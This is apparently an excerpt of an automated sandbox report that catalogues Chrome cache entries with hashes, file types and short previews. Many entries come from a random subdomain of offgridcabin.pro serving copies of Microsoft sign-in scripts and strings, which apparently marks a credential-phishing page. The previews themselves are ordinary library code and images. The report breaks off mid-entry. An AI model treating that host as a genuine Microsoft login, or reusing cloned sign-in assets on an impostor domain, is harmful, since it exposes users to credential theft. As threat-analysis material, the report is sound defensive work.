Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	190164
Entropy (8bit):	5.348680660157504
Encrypted:	false
SSDEEP:	3072:0+mT69mTuZEOHEXp6WXWkYVlMBMwMlJNbdffVv6GhL+rUWxa:STukBWkYVdLlJNbr6m+rUGa
MD5:	ED7BF6EA98D461690EB2B1D15E8B975B
SHA1:	C989CD1B1D211E7D5D45788EDAFA2A877D211E22
SHA-256:	25B9BD453CC2D4DB6A9BE13EC6C40B83065F55AF2D06A8EEF00C4D2DAA51B12D
SHA-512:	D8D6E190125E842DBE2C5616A2F9F1D0600ABFD43F6382752EB8AE365D3255EBBF04603531D0FC0726354224208146A614948C5B48772ED97A892E036D35A545
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js
Preview:	(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,,function(e,t,n){"use strict";n.r(t),n.d(t,"ValueKind",(function(){return r.e})),n.d(t,"EventLatency",(function(){return r.a})),n.d(t,"EventPersistence",(function(){return r.b})),n.d(t,"TraceLevel",(function(){return r.d})),n.d(t,"AppInsightsCore",(function(){return i.a})),n.d(t,"BaseCore",(function(){return d})),n.d(t,"_ExtendedInternalMessageId",(function(){return r.f})),n.d(t,"EventPropertyType",(function(){return r.c})),n.d(t,"ESPromise",(function(){return g})),n.d(t,"ESPromiseScheduler",(function(){return C})),n.d(t,"ValueSanitizer",(function(){return I})),n.d(t,"NotificationManager",(function(){return E.a})),n.d(t,"BaseTelemetryPlugin",(function(){return S.a})),n.d(t,"ProcessTelemetryContext",(function(){return N.a})),n.d(t,"MinChannelPriorty",(function(){return w.a})),n.d(t,"EventsDiscardedReason",(function(){return P.a})),n.d(t,"DiagnosticLogger",(function(){return c.a})),n.d(t,"LoggingSeverity",(fun

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64612)
Category:	downloaded
Size (bytes):	113769
Entropy (8bit):	5.492343205210805
Encrypted:	false
SSDEEP:	1536:Ux8gIRPY0+r5qnWis4mzA/4kQLJCUmgkpE7XXtXiN5CVoLq0J:PgDTMnWC3gZmgkAnZibcM
MD5:	9F02E24CD4E7788D28587C2B1CB504E7
SHA1:	59DA2FC24777CD180F6D3A3F7CE9D9DD90520430
SHA-256:	C30FD6BB912661057EC2EEA9A2F135303A6D0F8D110BF11493B369286F0587AE
SHA-512:	95276C7F1BBA2777F02E7CD3674CD0E967C96F0E0FC88C0862E82A7455A6C7D6CC90A23F9623412B3696F39F8C4069B17DC8FDF16C03003165D398E2080CAD57
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_cc2c59f5ef2c09e14b08.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */.(window.webpackJsonp=window.webpackJsonp\|\|[]).push([[37],{1379:function(e,t,

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64616)
Category:	downloaded
Size (bytes):	454838
Entropy (8bit):	5.446171368776635
Encrypted:	false
SSDEEP:	6144:vSxuPjK4AaK2d/KkpZYhspmxiSpD9OduUSmcEHKE0H3NX4hr:vSQZKkp6epkiSUSk9
MD5:	9437A16ACB9E784B6F5B513EC2B7F8BE
SHA1:	94315F895A5F8DDFC303514233196504972178FF
SHA-256:	5629CCC0F1C53B932915DC3B10957F189FD596AF25D79172CD864E1C45B41F1B
SHA-512:	6A1D80F09E93C8FE63CB2D25DAF506D04735FDCECBE7D2E8E0B588AC9F871ECB37466FB5E31A0E355241A2BADDE4057FB7DCB70AFE161CE6D7E17C0BEC931617
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/shared/1.0/content/js/ConvergedLogin_PCore_n7VKwtWYm2mBLcIKAZfQlw2.js
Preview:	/!. ------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------. * . * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise.. * . * json2.js (2016-05-01). * https://github.com/douglascrockford/JSON-js. * License: Public Domain. * . * Provided for Informational Purposes Only. * . * ----------------------------------------------- END OF THIRD PARTY NOTICE ------------------------------------------. */!function(e){function n(n){for(var t,i,o=n[0],r=n[1],s=0,c=[];s<o.length;s++)

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65311)
Category:	downloaded
Size (bytes):	83981
Entropy (8bit):	4.7735566283508355
Encrypted:	false
SSDEEP:	1536:YlMVM6MVM9MVMKMVMRsVMNdhwJHQ9Kll3ITRUHrt+z:sdhgw9kITRULt+z
MD5:	3D5EF2BF867C4054A2F336CDBAD9E1DC
SHA1:	07228D1FA3245EE156A27A353F45758A3207849F
SHA-256:	A361E7885C36BACB3FD9CB068DA207C3B9329962CAC022D06E28923939F575E8
SHA-512:	168DEB96B663FE4EEE8D39C78380864760FB912B34BF82CB6A7C36AA4B18B91944CCEFAD71A10F428810D0A6A818DDBAFF3AE7DB42264750DFB8B5A73A8EDA04
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
Preview:	/!. Font Awesome Free 6.0.0-beta3 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2021 Fonticons, Inc.. */..fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-duotone,.fa-light,.fa-regular,.fa-solid,.fa-thin,.fab,.fad,.fal,.far,.fas,.fat{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.0

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1592
Entropy (8bit):	4.205005284721148
Encrypted:	false
SSDEEP:	48:ztSAS1OtmCtc7aIVmt4yyR9S2lKUyDWwh:RoOtmCtc7aCmVQHSRh
MD5:	4E48046CE74F4B89D45037C90576BFAC
SHA1:	4A41B3B51ED787F7B33294202DA72220C7CD2C32
SHA-256:	8E6DB1634F1812D42516778FC890010AA57F3E39914FB4803DF2C38ABBF56D93
SHA-512:	B2BBA2A68EDAA1A08CFA31ED058AFB5E6A3150AABB9A78DB9F5CCC2364186D44A015986A57707B57E2CC855FA7DA57861AD19FC4E7006C2C239C98063FE903CF
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689,0,0,1,19,30a10.9,10.9,0,0,1-5.547-1.5,11.106,11.106,0,0,1-2.219-1.719A11.373,11.373,0,0,1,9.5,24.547a10.4,10.4,0,0,1-1.109-2.625A11.616,11.616,0,0,1,8,19a10.9,10.9,0,0,1,1.5-5.547,11.106,11.106,0,0,1,1.719-2.219A11.373,11.373,0,0,1,13.453,9.5a10.4,10.4,0,0,1,2.625-1.109A11.616,11.616,0,0,1,19,8a10.9,10.9,0,0,1,5.547,1.5,11.106,11.106,0,0,1,2.219,1.719A11.373,11.373,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.938-2.859A9.269,9.269,0,0,0,22.5,10.719,8.9,8.9,0,0,0,19,10a8.786,8.786,0,0,0-3.5.7,8.9,8.9,0,0,0-2.859,1.938A9.269,9.269,0,0,0,

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (61177)
Category:	downloaded
Size (bytes):	113424
Entropy (8bit):	5.2850742719795925
Encrypted:	false
SSDEEP:	1536:QpHDgBvguhw+EViazA/PWrF7qvEAFiQcpmQhSeC1Jzc6VU23:xkXhp6VUU
MD5:	F3588C5412D4119F95E47073A4A5DF72
SHA1:	3C4B1652E71C25E1CE7DE611FBD17EDBAAE411D9
SHA-256:	6CC79C59F00478CE5D8EAA982EFDD8FC3CC205A7EA023A564BB2688FA206A087
SHA-512:	62886F8BFB32D2BE842A23ECA157556C30EC1D616E2607D9DF1894F702BB7A982EEB3576C95F859B4B8E9183A84D70149A8802F31317F80D4845B02CCFA018F9
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/converged.v2.login.min_81imvbluez-v5hbzpkxfcg2.css
Preview:	/! Copyright (C) Microsoft Corporation. All rights reserved. //*!.------------------------------------------- START OF THIRD PARTY NOTICE -----------------------------------------..This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice and the license under which Microsoft received such Third Party IP, are set forth below. Such licenses and notices are provided for informational purposes only. Microsoft licenses the Third Party IP to you under the licensing terms for the Microsoft product. Microsoft reserves all other rights not expressly granted under this agreement, whether by implication, estoppel or otherwise...//-----------------------------------------------------------------------------.twbs-bootstrap-sass (3.3.0).//-----------------------------------------------------------------------------..The MIT License (MIT)..Copyright (c) 2013 Twitter, Inc..Permission is hereby granted, free of charge, to any person

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (32028)
Category:	dropped
Size (bytes):	57678
Entropy (8bit):	5.372106473481957
Encrypted:	false
SSDEEP:	1536:ABqF1tlfretkF7IKbVaqDRx3P7ym+d/Px25+1wtRUixn/TPRUbx3VDg/MvA5Gl:ABrkF7IyJ/7ym+d/Po5+1wtRUiJig/Ml
MD5:	576D2203E19A860B95BB67C655768C1E
SHA1:	163C9B4505FA2F7B1EBDFA2854358B709C75614F
SHA-256:	9FA77B26BE0BF9903945803CB673A12ED6F1EDB5724AD41C34EFFECC9768DF9F
SHA-512:	AB5CB50EF698B84CD3E6ABBE7BA0161AC09DC81E2AECE46D401ED7FFB6DB5AE1600513CEE80D9D0ED3C087C49D7B7B6E55A08595CDC99691EE794CF277DA1FFA
Malicious:	false
Reputation:	low
Preview:	!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account",e.CT_STR_CookieBanner_Link_AriaLabel="Learn more about Microsoft's Cookie Policy",e.WF_STR_HeaderDefault_Title=o.iLoginStringsVariantId===a.CombinedSigninSignupV2WelcomeTitle?"Welcome":"Sign in",e.STR_Footer_IcpLicense_Text=".ICP.13015306.-10",o.oAppCobranding&&o.oAppCobranding.friendlyAppName){var i=o.fBreakBrandingSigninString?"to continue to {0}":"Continue to {0}";e.WF_STR_App_Title=t.format(i,o.oAppCobranding.friendlyAppName)}switch(o.oAppCobranding&&o.oAppCobranding.signinDescription&&(e.WF_STR_Default_Desc=o.oAppCobrand

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	dropped
Size (bytes):	119648
Entropy (8bit):	5.356165204896218
Encrypted:	false
SSDEEP:	3072:/Yh8eip3huuf6IidlrvakdtQ47GKvPhQDvMwFdm:/i8eGRuufsr5zQ47GKvPyDvG
MD5:	75CF78D0E38C65A538AD253CA9E48DBE
SHA1:	BF0452E4A42A9AF3B69D5D8C3A3A0433F14921B6
SHA-256:	DF2AA8537C1992C94846A0FFFFAA9031D430D9D0210B9E396EC059AFF62627E0
SHA-512:	81383E4FDAE1F34F8E652F69058D57A2A4BD0A77C2C41C3174BEE0CEBA83A8326229C2A74EAF415BFBD34382B1C442A97C41034F43CD77A391BA9B4DAAE65463
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	3651
Entropy (8bit):	4.094801914706141
Encrypted:	false
SSDEEP:	96:wO4DZ+Stb/jY+eo4hAryAes9mBYYQgWLDm9:wToSBjlevudl9nO
MD5:	EE5C8D9FB6248C938FD0DC19370E90BD
SHA1:	D01A22720918B781338B5BBF9202B241A5F99EE4
SHA-256:	04D29248EE3A13A074518C93A18D6EFC491BF1F298F9B87FC989A6AE4B9FAD7A
SHA-512:	C77215B729D0E60C97F075998E88775CD0F813B4D094DC2FDD13E5711D16F4E5993D4521D0FBD5BF7150B0DBE253D88B1B1FF60901F053113C5D7C1919852D58
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0,0,1,.419-.967,1.413,1.413,0,0,1,1-.39,1.392,1.392,0,0,1,1.02.4,1.3,1.3,0,0,1,.4.958,1.248,1.248,0,0,1-.414.953,1.428,1.428,0,0,1-1.01.385A1.4,1.4,0,0,1,47.25,6.6a1.261,1.261,0,0,1-.409-.948M49.41,18.4H47.081V8.507H49.41Zm7.064-1.694a3.213,3.213,0,0,0,1.145-.241,4.811,4.811,0,0,0,1.155-.635V18a4.665,4.665,0,0,1-1.266.481,6.886,6.886,0,0,1-1.554.164,4.707,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,.813,2.338,2.936,2.936,0,0,0,2.209.837M65.4,8.343a2.952,2.952,0,0,1,.5.039,2.1,2.1,0,0,1,.375.1v2.358a2.04,2.04,0,0,0-.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65450), with CRLF line terminators
Category:	downloaded
Size (bytes):	119648
Entropy (8bit):	5.356165204896218
Encrypted:	false
SSDEEP:	3072:/Yh8eip3huuf6IidlrvakdtQ47GKvPhQDvMwFdm:/i8eGRuufsr5zQ47GKvPyDvG
MD5:	75CF78D0E38C65A538AD253CA9E48DBE
SHA1:	BF0452E4A42A9AF3B69D5D8C3A3A0433F14921B6
SHA-256:	DF2AA8537C1992C94846A0FFFFAA9031D430D9D0210B9E396EC059AFF62627E0
SHA-512:	81383E4FDAE1F34F8E652F69058D57A2A4BD0A77C2C41C3174BEE0CEBA83A8326229C2A74EAF415BFBD34382B1C442A97C41034F43CD77A391BA9B4DAAE65463
Malicious:	false
Reputation:	low
URL:	https://kzlehb30j0qd36mbubox5jgdc.offgridcabin.pro/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js
Preview:	/! jQuery v3.5.1 \| (c) JS Foundation and other contributors \| jquery.org/license /..!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwmWu_XJtqKVCBIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	190164
Entropy (8bit):	5.348680660157504
Encrypted:	false
SSDEEP:	3072:0+mT69mTuZEOHEXp6WXWkYVlMBMwMlJNbdffVv6GhL+rUWxa:STukBWkYVdLlJNbr6m+rUGa
MD5:	ED7BF6EA98D461690EB2B1D15E8B975B
SHA1:	C989CD1B1D211E7D5D45788EDAFA2A877D211E22
SHA-256:	25B9BD453CC2D4DB6A9BE13EC6C40B83065F55AF2D06A8EEF00C4D2DAA51B12D
SHA-512:	D8D6E190125E842DBE2C5616A2F9F1D0600ABFD43F6382752EB8AE365D3255EBBF04603531D0FC0726354224208146A614948C5B48772ED97A892E036D35A545
Malicious:	false
Reputation:	low
Preview:	(window.telemetry_webpackJsonp=window.telemetry_webpackJsonp\|\|[]).push([[2],[,,,function(e,t,n){"use strict";n.r(t),n.d(t,"ValueKind",(function(){return r.e})),n.d(t,"EventLatency",(function(){return r.a})),n.d(t,"EventPersistence",(function(){return r.b})),n.d(t,"TraceLevel",(function(){return r.d})),n.d(t,"AppInsightsCore",(function(){return i.a})),n.d(t,"BaseCore",(function(){return d})),n.d(t,"_ExtendedInternalMessageId",(function(){return r.f})),n.d(t,"EventPropertyType",(function(){return r.c})),n.d(t,"ESPromise",(function(){return g})),n.d(t,"ESPromiseScheduler",(function(){return C})),n.d(t,"ValueSanitizer",(function(){return I})),n.d(t,"NotificationManager",(function(){return E.a})),n.d(t,"BaseTelemetryPlugin",(function(){return S.a})),n.d(t,"ProcessTelemetryContext",(function(){return N.a})),n.d(t,"MinChannelPriorty",(function(){return w.a})),n.d(t,"EventsDiscardedReason",(function(){return P.a})),n.d(t,"DiagnosticLogger",(function(){return c.a})),n.d(t,"LoggingSeverity",(fun

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Reputation:	low
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e0c90b6a3ed1/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 73, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.982173679986101
Encrypted:	false
SSDEEP:	3:yionv//thPlYAVt/xl/k4E08up:6v/lhP2An/7Tp
MD5:	148BCCE50A83B99BEBBAC73B86408665
SHA1:	37216C410144A8533674D81C629CCD6A43F86BA2
SHA-256:	10C2D6A6E5909583EBD1AA1323A14BF26E6E2CC466EF68045B69A80E364F8229
